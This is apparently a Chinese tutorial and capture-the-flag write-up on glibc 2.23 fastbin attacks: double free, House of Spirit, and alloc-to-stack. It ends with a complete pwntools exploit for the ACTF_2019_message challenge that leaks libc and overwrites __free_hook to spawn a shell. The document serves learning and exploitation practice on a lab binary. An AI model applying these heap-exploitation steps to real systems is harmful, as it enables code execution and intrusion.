简介
fastbin attack 指针对 ptmalloc2 中 fastbin 结构的攻击和漏洞利用手法
利用前提:
- 存在堆溢出、use-after-free 等能控制 chunk 内容的漏洞
- 漏洞发生于 fastbin 类型的 chunk 中
根据利用手法可分为以下几类
- fastbin double free
- house of spirit
- alloc to stack
- arbitrary alloc
其中,前两种主要漏洞侧重于利用 free 函数释放真的 chunk 或伪造的 chunk,然后再次申请 chunk 进行攻击,后两种侧重于故意修改 fd 指针,直接利用 malloc 申请指定位置 chunk 进行攻击
原理
fastbin 特性:
1
2
3
4
5
6
7
8
9
10
11
12
| int main(void)
{
void *chunk1,*chunk2,*chunk3;
chunk1=malloc(0x30);
chunk2=malloc(0x30);
chunk3=malloc(0x30);
//进行释放
free(chunk1);
free(chunk2);
free(chunk3);
return 0;
}
|
释放前:
1
2
3
4
5
6
7
8
9
10
11
12
13
| 0x602000: 0x0000000000000000 0x0000000000000041 <=== chunk1
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000041 <=== chunk2
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000041 <=== chunk3
0x602090: 0x0000000000000000 0x0000000000000000
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000000
0x6020c0: 0x0000000000000000 0x0000000000020f41 <=== top chunk
|
释放后:
1
2
3
4
5
6
7
8
9
10
11
12
13
| 0x602000: 0x0000000000000000 0x0000000000000041 <=== chunk1
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000041 <=== chunk2
0x602050: 0x0000000000602000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000041 <=== chunk3
0x602090: 0x0000000000602040 0x0000000000000000
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000000
0x6020c0: 0x0000000000000000 0x0000000000020f41 <=== top chunk
|
此时位于 main_arena 中的 fastbin 链表中已经储存了指向 chunk3 的指针,并且 chunk 3、2、1 构成了一个单链表
1
2
3
4
| Fastbins[idx=2, size=0x30,ptr=0x602080]
===>Chunk(fd=0x602040, size=0x40, flags=PREV_INUSE)
===>Chunk(fd=0x602000, size=0x40, flags=PREV_INUSE)
===>Chunk(fd=0x000000, size=0x40, flags=PREV_INUSE)
|
可以看到 next chunk 的 size 的 prev_inuse 位不会被清空
伪造 fd 需绕过的安全检查
1
2
3
4
5
6
7
| if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}
|
这里要求伪造的 chunk 大小所在的索引必须与指向这个伪造 chunk 的索引相同, 即:
1
| [0x20] 0x602000 -> 0x602020
|
0x602000 指向的 0x602020 索引必须是 0x20 的
chunksize 相关定义:
1
2
3
4
| #define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
/* Get size, ignoring use bits */
#define chunksize(p) ((p)->size & ~(SIZE_BITS))
|
这里是会清除低三位的,也就是说我们不一定非要 size 为 0x21 (比如伪造索引大小为 0x20 的 fastbin chunk), 可以是 0x20 ~ 0x27 (左闭右闭区间) 之间的任意大小, 最终都会被 chunksize 函数处理为 0x20
fastbin_idx 定义如下:
1
2
3
| /* offset 2 to use otherwise unindexable first 2 bins */
#define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
|
64 位系统下会将 sz 右移 4 位, 然后减去 2
可以发现 0x20 ~ 0x2f (左闭右闭区间) 这个范围内的 size 都会被归为 idx 0 中, 即 0x20 大小的索引中
所以说我们需要伪造 chunk 的 size 字段, 如:
0x20 索引的 size 范围为 0x20 ~ 0x2f
fastbin double free
当一个 fastbin 大小的 chunk 被释放时, 内部的数据会被置空, 这个 chunk 将被链接进 fastbin 这个结构
如果我们重复的释放同一块 chunk, 这块 chunk 的 fd 指向自身形成循环, 这时候我们如果使用 malloc 来申请当前 chunk 大小的块时, 获得的空间都会是指向这块 chunk 的

重复 free chunk2 之后示意图
在我们 malloc 得到这块空间之后如果我们能编辑这块空间的内容的话, 我们可以伪造 fd 字段来达到申请任意地址的目的
可是开发人员早就预料到了这种情况添加了保护, 但是开发人员添加的检测方法并不完善, 我们可以绕过
注意
fastbin 的 chunk 出于效率考虑, 在释放时不会进行合并和清除下一个 chunk size 字段的 prev_inuse 位
这就导致了使用 prev_inuse 位无法判断 fastbin chunk 是否被 free 了
开发人员必须重新编写一种方法来阻止 double free
glibc2.23 部分源码:
1
2
3
4
5
6
7
| /* Check that the top of the bin is not the record we are going to add
(i.e., double free). */
if (__builtin_expect (old == p, 0))
{
errstr = "double free or corruption (fasttop)";
goto errout;
}
|
1
2
3
| /* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
mchunkptr old = *fb, old2;
unsigned int old_idx = ~0u;
|
可以看到 fastbin 采用头插法来插入新的 chunk
old = *fb 这里 old 是 fastbin 的链表头即上一次插入的 fastbin chunk
p 是即将要插入 fastbin 的指针
也就是说检查只会检查当前要释放的 chunk 是不是上一次刚释放的 chunk
我们只需要在连续两次 free(p1) 之间插入 free(p2) 等代码即可
使用代码验证:
1
2
3
4
5
6
7
8
9
| #include <stdio.h>
#include <malloc.h>
int main() {
char *p1 = malloc(0x10);
free(p1);
free(p1);
return 0;
}
|
编译运行:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
| ➜ fastbin_attack gcc src.c
➜ fastbin_attack ls
a.out src.c
➜ fastbin_attack ./a.out
*** Error in `./a.out': double free or corruption (fasttop): 0x0000000000859010 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777f5)[0x7fea652307f5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8038a)[0x7fea6523938a]
/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7fea6523d58c]
./a.out[0x400594]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7fea651d9840]
./a.out[0x400499]
======= Memory map: ========
00400000-00401000 r-xp 00000000 08:01 665526 /home/lhon901/fastbin_attack/a.out
00600000-00601000 r--p 00000000 08:01 665526 /home/lhon901/fastbin_attack/a.out
00601000-00602000 rw-p 00001000 08:01 665526 /home/lhon901/fastbin_attack/a.out
00859000-0087a000 rw-p 00000000 00:00 0 [heap]
7fea60000000-7fea60021000 rw-p 00000000 00:00 0
7fea60021000-7fea64000000 ---p 00000000 00:00 0
7fea64fa3000-7fea64fb9000 r-xp 00000000 08:01 914372 /lib/x86_64-linux-gnu/libgcc_s.so.1
7fea64fb9000-7fea651b8000 ---p 00016000 08:01 914372 /lib/x86_64-linux-gnu/libgcc_s.so.1
7fea651b8000-7fea651b9000 rw-p 00015000 08:01 914372 /lib/x86_64-linux-gnu/libgcc_s.so.1
7fea651b9000-7fea65379000 r-xp 00000000 08:01 919643 /lib/x86_64-linux-gnu/libc-2.23.so
7fea65379000-7fea65579000 ---p 001c0000 08:01 919643 /lib/x86_64-linux-gnu/libc-2.23.so
7fea65579000-7fea6557d000 r--p 001c0000 08:01 919643 /lib/x86_64-linux-gnu/libc-2.23.so
7fea6557d000-7fea6557f000 rw-p 001c4000 08:01 919643 /lib/x86_64-linux-gnu/libc-2.23.so
7fea6557f000-7fea65583000 rw-p 00000000 00:00 0
7fea65583000-7fea655a9000 r-xp 00000000 08:01 919635 /lib/x86_64-linux-gnu/ld-2.23.so
7fea65799000-7fea6579c000 rw-p 00000000 00:00 0
7fea657a7000-7fea657a8000 rw-p 00000000 00:00 0
7fea657a8000-7fea657a9000 r--p 00025000 08:01 919635 /lib/x86_64-linux-gnu/ld-2.23.so
7fea657a9000-7fea657aa000 rw-p 00026000 08:01 919635 /lib/x86_64-linux-gnu/ld-2.23.so
7fea657aa000-7fea657ab000 rw-p 00000000 00:00 0
7ffd4a9a3000-7ffd4a9c4000 rw-p 00000000 00:00 0 [stack]
7ffd4a9e4000-7ffd4a9e6000 r--p 00000000 00:00 0 [vvar]
7ffd4a9e6000-7ffd4a9e8000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
[1] 1161 abort ./a.out
|
可以看到程序直接奔溃了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| #include <stdio.h>
#include <malloc.h>
int main() {
char *p1 = malloc(0x10);
char *p2 = malloc(0x10);
printf("p1 addr: %p\n", p1);
printf("p2 addr: %p\n", p2);
free(p1);
free(p2);
free(p1);
char *p3 = malloc(0x10);
printf("p3 addr: %p\n", p3);
return 0;
}
|
编译运行:
1
2
3
4
5
| ➜ fastbin_attack gcc src.c
➜ fastbin_attack ./a.out
p1 addr: 0x237e010
p2 addr: 0x237e030
p3 addr: 0x237e010
|
可以看到绕过了检测并且重新申请到了 p1 这块地址
gdb 调试:
1
2
3
4
5
6
7
8
| pwndbg> fastbin
fastbins
0x20: 0x602020 —▸ 0x602000 ◂— 0x602020 /* ' `' */
pwndbg> x/8gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x0000000000602020 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021
0x602030: 0x0000000000602000 0x0000000000000000
|
可以看到已经形成了循环
例题
经典菜单题:
add
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
| unsigned __int64 add()
{
int i; // [rsp+8h] [rbp-28h]
int len; // [rsp+Ch] [rbp-24h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v4; // [rsp+28h] [rbp-8h]
v4 = __readfsqword(0x28u);
if ( counts <= 10 )
{
puts("Please input the length of message:");
read(0, buf, 8uLL);
len = atoi(buf);
if ( len <= 0 )
{
puts("Length is invalid!");
}
else
{
for ( i = 0; i <= 9; ++i )
{
if ( !*(_QWORD *)&list[4 * i + 2] )
{
list[4 * i] = len;
*(_QWORD *)&list[4 * i + 2] = malloc(len);
puts("Please input the message:");
read(0, *(void **)&list[4 * i + 2], len);
++counts;
return __readfsqword(0x28u) ^ v4;
}
}
}
}
else
{
puts("Message is full!");
}
return __readfsqword(0x28u) ^ v4;
}
|
detele
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| unsigned __int64 sub_400B73()
{
unsigned int idx; // [rsp+Ch] [rbp-24h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
if ( counts <= 0 )
{
puts("There is no message in system");
}
else
{
puts("Please input index of message you want to delete:");
read(0, buf, 8uLL);
idx = atoi(buf);
if ( idx > 9 )
{
puts("Index is invalid!");
}
else
{
free(*(void **)&list[4 * idx + 2]);
list[4 * idx] = 0;
--counts;
}
}
return __readfsqword(0x28u) ^ v3;
}
|
edit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| unsigned __int64 edit()
{
unsigned int idx; // [rsp+Ch] [rbp-24h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
if ( counts <= 0 )
{
puts("No message can you edit");
}
else
{
puts("Please input index of message you want to edit:");
read(0, buf, 8uLL);
idx = atoi(buf);
if ( list[4 * idx] && idx <= 9 )
{
puts("Now you can edit the message:");
read(0, *(void **)&list[4 * idx + 2], (int)list[4 * idx]);
}
else
{
puts("Index is invalid!");
}
}
return __readfsqword(0x28u) ^ v3;
}
|
display
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| unsigned __int64 display()
{
unsigned int idx; // [rsp+Ch] [rbp-24h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
if ( counts <= 0 )
{
puts("No message in system");
}
else
{
puts("Please input index of message you want to display:");
read(0, buf, 8uLL);
idx = atoi(buf);
if ( list[4 * idx] && idx <= 9 )
printf("The message: %s\n", *(const char **)&list[4 * idx + 2]);
else
puts("Index is invalid!");
}
return __readfsqword(0x28u) ^ v3;
}
|
经过简单的分析发现程序 free 之后没有置空指针存在 UAF 漏洞
程序名提示我们使用 double free 来解题
我们考虑使用 double free 拿到 __free_hook 然后写入 one_gadget
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| ➜ ACTF_2019_message ls
ACTF_2019_message
➜ ACTF_2019_message chmod +x ./ACTF_2019_message
➜ ACTF_2019_message pwn checksec ./ACTF_2019_message
[*] '/home/lhon901/work/ACTF_2019_message/ACTF_2019_message'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fd000)
➜ ACTF_2019_message patchelf --replace-needed libc.so.6 ~/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6 ./ACTF_2019_message
➜ ACTF_2019_message patchelf --set-interpreter ~/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so ./ACTF_2019_message
➜ ACTF_2019_message ldd ./ACTF_2019_message
linux-vdso.so.1 (0x00007ffce2bb7000)
/home/lhon901/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6 (0x00007f04ba800000)
/home/lhon901/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so => /lib64/ld-linux-x86-64.so.2 (0x00007f04badc5000)
|
首先编写模板:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
| from pwn import *
p = process('./ACTF_2019_message')
elf = ELF('./ACTF_2019_message')
libc = ELF('/home/lhon901/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
def choice(n):
p.recvuntil("choice: ")
p.sendline(str(n))
def add(len, message):
choice(1)
p.recvuntil("Please input the length of message:")
p.sendline(str(len))
p.recvuntil("Please input the message:")
p.send(message)
def delete(idx):
choice(2)
p.recvuntil('Please input index of message you want to delete:')
p.sendline(str(idx))
def edit(idx, message):
choice(3)
p.recvuntil('Please input index of message you want to edit:')
p.sendline(str(idx))
p.recvuntil('Now you can edit the message:')
p.send(message)
def display(idx):
choice(4)
p.recvuntil('Please input index of message you want to display:')
p.sendline(str(idx))
p.recvuntil('The message: ')
return p.recvuntil(b'\n')[:-1]
|
要想获取 shell 权限, 我们必须想办法获取 libc 基址
1
2
3
4
5
6
7
8
9
10
11
12
13
| if __name__ == '__main__':
add(0x68, "aaaa")
add(0x68, "bbbb")
add(0x78, 'cccc')
delete(0)
delete(1)
# delete(0)
choice(2)
p.sendline(str(0))
# 0 <- 1 <- 0
list = 0x602060
add(0x68, p64(list + 0x18)) # 0
|
我们考虑通过两个 chunk 来达成 double free 的效果
然后通过 double free 来申请到第三个 chunk 这块空间
因为 fastbin chunk 被分配时有安全检查的, 所以 chunk3 的 size 必须要比前面的 chunk 的 size 大 0x10 bytes
double free 之后但未修改 fd 指针
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| pwndbg> x/20gx 0x602060
0x602060: 0x0000000000000000 0x00000000306cf010
0x602070: 0x0000000000000000 0x00000000306cf080
0x602080: 0x0000000000000078 0x00000000306cf0f0
0x602090: 0x0000000000000000 0x0000000000000000
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000000
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000000000
0x6020e0: 0x0000000000000000 0x0000000000000000
0x6020f0: 0x0000000000000000 0x0000000000000000
pwndbg> fastbins
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details.
fastbins
0x70: 0x306cf000 —▸ 0x306cf070 ◂— 0x306cf000
pwndbg> x/8gx 0x306cf000
0x306cf000: 0x0000000000000000 0x0000000000000071
0x306cf010: 0x00000000306cf070 0x0000000000000000
0x306cf020: 0x0000000000000000 0x0000000000000000
0x306cf030: 0x0000000000000000 0x0000000000000000
pwndbg>
|
double free 之后修改 fd 指针
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| pwndbg> x/20gx 0x602060
0x602060: 0x0000000000000000 0x00000000321e6010
0x602070: 0x0000000000000000 0x00000000321e6080
0x602080: 0x0000000000000078 0x00000000321e60f0
0x602090: 0x0000000000000068 0x00000000321e6010
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000000
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000000000
0x6020e0: 0x0000000000000000 0x0000000000000000
0x6020f0: 0x0000000000000000 0x0000000000000000
pwndbg> fastbins
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details.
fastbins
0x70: 0x321e6070 —▸ 0x321e6000 —▸ 0x602078 —▸ 0x321e60f0 ◂— 0
pwndbg>
|
我们只需要一直申请就能拿到 0x602078 + 0x10 这块空间的所有权, 我们将 0x602078 + 0x10 的指针修改为 puts_got 就能使用 display 来泄露 puts 函数的真实地址了
1
2
3
4
5
6
7
| add(0x68, '/bin/sh') # 1
add(0x68, 'bbbb') # 0
add(0x68, p64(elf.got['puts']))
puts_addr = u64(display(2).ljust(8, b'\x00'))
success(f'puts_addr: {hex(puts_addr)}')
libc_base = puts_addr - libc.sym['puts']
success(f'libc_base: {hex(libc_base)}')
|
看一下此时的内存空间布局
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| pwndbg> x/20gx 0x602060
0x602060: 0x0000000000000000 0x000000003eb3b010
0x602070: 0x0000000000000000 0x000000003eb3b080
0x602080: 0x0000000000000078 0x0000000000601f98
0x602090: 0x0000000000000068 0x000000003eb3b010
0x6020a0: 0x0000000000000068 0x000000003eb3b080
0x6020b0: 0x0000000000000068 0x000000003eb3b010
0x6020c0: 0x0000000000000068 0x0000000000602088
0x6020d0: 0x0000000000000000 0x0000000000000000
0x6020e0: 0x0000000000000000 0x0000000000000000
0x6020f0: 0x0000000000000000 0x0000000000000000
pwndbg> fastbins
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details.
fastbins
0x70: 0x3eb3b0f0 ◂— 0
pwndbg>
|
此时我们无法在刚才的基础上继续 malloc 了, 因为刚才我们填入了 puts_got 地址, got 地址因为 FULL RELRO 的原因无可写权限的
但是我们注意到了我们最后申请出来的 chunk 正好可以修改 chunk2 的指针, 我们使用 edit 将其修改指向 __free_hook 然后使用 free 含有 /bin/sh 字符串的 chunk 即可 getshell
exp.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
| from pwn import *
p = process('./ACTF_2019_message')
elf = ELF('./ACTF_2019_message')
libc = ELF('/home/lhon901/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
def choice(n):
p.recvuntil("choice: ")
p.sendline(str(n))
def add(len, message):
choice(1)
p.recvuntil("Please input the length of message:")
p.sendline(str(len))
p.recvuntil("Please input the message:")
p.send(message)
def delete(idx):
choice(2)
p.recvuntil('Please input index of message you want to delete:')
p.sendline(str(idx))
def edit(idx, message):
choice(3)
p.recvuntil('Please input index of message you want to edit:')
p.sendline(str(idx))
p.recvuntil('Now you can edit the message:')
p.send(message)
def display(idx):
choice(4)
p.recvuntil('Please input index of message you want to display:')
p.sendline(str(idx))
p.recvuntil('The message: ')
return p.recvuntil(b'\n')[:-1]
if __name__ == '__main__':
add(0x68, "aaaa")
add(0x68, "bbbb")
add(0x78, 'cccc') # idx: 0
delete(0)
delete(1)
# delete(0)
choice(2)
p.sendline(str(0))
# 0 <- 1 <- 0
list = 0x602060
add(0x68, p64(list + 0x18)) # 0
add(0x68, '/bin/sh') # 1
add(0x68, 'bbbb') # 0
add(0x68, p64(elf.got['puts']))
puts_addr = u64(display(2).ljust(8, b'\x00'))
success(f'puts_addr: {hex(puts_addr)}')
libc_base = puts_addr - libc.sym['puts']
success(f'libc_base: {hex(libc_base)}')
edit(6, p64(libc_base + 0x0000000003c67a8)) # __free_hook
system_addr = libc_base + 0x0453a0
edit(2, p64(system_addr))
delete(4)
# gdb.attach(p)
p.interactive()
|
House of Spirit
此技术的核心在于伪造一个 chunk, 释放这个 fake chunk, 它就会被链接进 fastbins, 从而达到任意地址分配的效果
要想构造 fastbin fake chunk,并且将其释放时,可以将其放入到对应的 fastbin 链表中,需要绕过一些必要的检测,即
- fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理。
- fake chunk 地址需要对齐, MALLOC_ALIGN_MASK
- fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐。
- fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem 。
- fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况。
how2heap 上的例子:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
| #include <stdio.h>
#include <stdlib.h>
int main()
{
fprintf(stderr, "This file demonstrates the house of spirit attack.\n");
fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
malloc(1);
fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
unsigned long long *a;
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[7]);
fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[1] = 0x40; // this is the size
fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234; // nextsize
fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[2];
fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);
fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}
|
运行后的结果:
1
2
3
4
5
6
7
8
9
10
11
12
13
| ➜ how2heap git:(master) ./house_of_spirit
This file demonstrates the house of spirit attack.
Calling malloc() once so that it sets up its memory.
We will now overwrite a pointer to point to a fake 'fastbin' region.
This region (memory of length: 80) contains two chunks. The first starts at 0x7ffd9bceaa58 and the second at 0x7ffd9bceaa88.
This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.
... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.
The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.
Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, 0x7ffd9bceaa58.
... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.
Freeing the overwritten pointer.
Now the next malloc will return the region of our fake chunk at 0x7ffd9bceaa58, which will be 0x7ffd9bceaa60!
malloc(0x30): 0x7ffd9bceaa60
|
Alloc to Stack && Arbitrary Alloc
这两种技术的核心都在于修改 fastbin chunk 的 fd 指针, 从而达到分配特定或者任意内存的目的
前者修改后的 fd 指针指向栈上, 可用来修改返回地址
后者修改后的 fd 指针可以指向任意地址 bss data 段等
总结
- Fastbin Double free
- 适用于不能直接 edit 已经 free 的 chunk 情况. 通过 double free 可以拿到已经 free 的 chunk, 并且可以控制 fd 指针
- House of Spirit
- 适用于用户能控制 free 的指针. 例: 在一个已经 malloc 的 chunk 内部伪造一个 chunk, free chunk 内部的 fake chunk, 从而造成堆块重叠, 从而控制 fd 指针
- Alloc to Stack && Arbitrary Alloc
这四种攻击手法的递进关系:
- House of Spirit → 获得控制 fd 指针的能力
- Fastbin Double Free → 获得控制 fd 指针的能力
- Alloc to Stack/Arbitrary Alloc → 利用已控制的 fd 指针实现最终攻击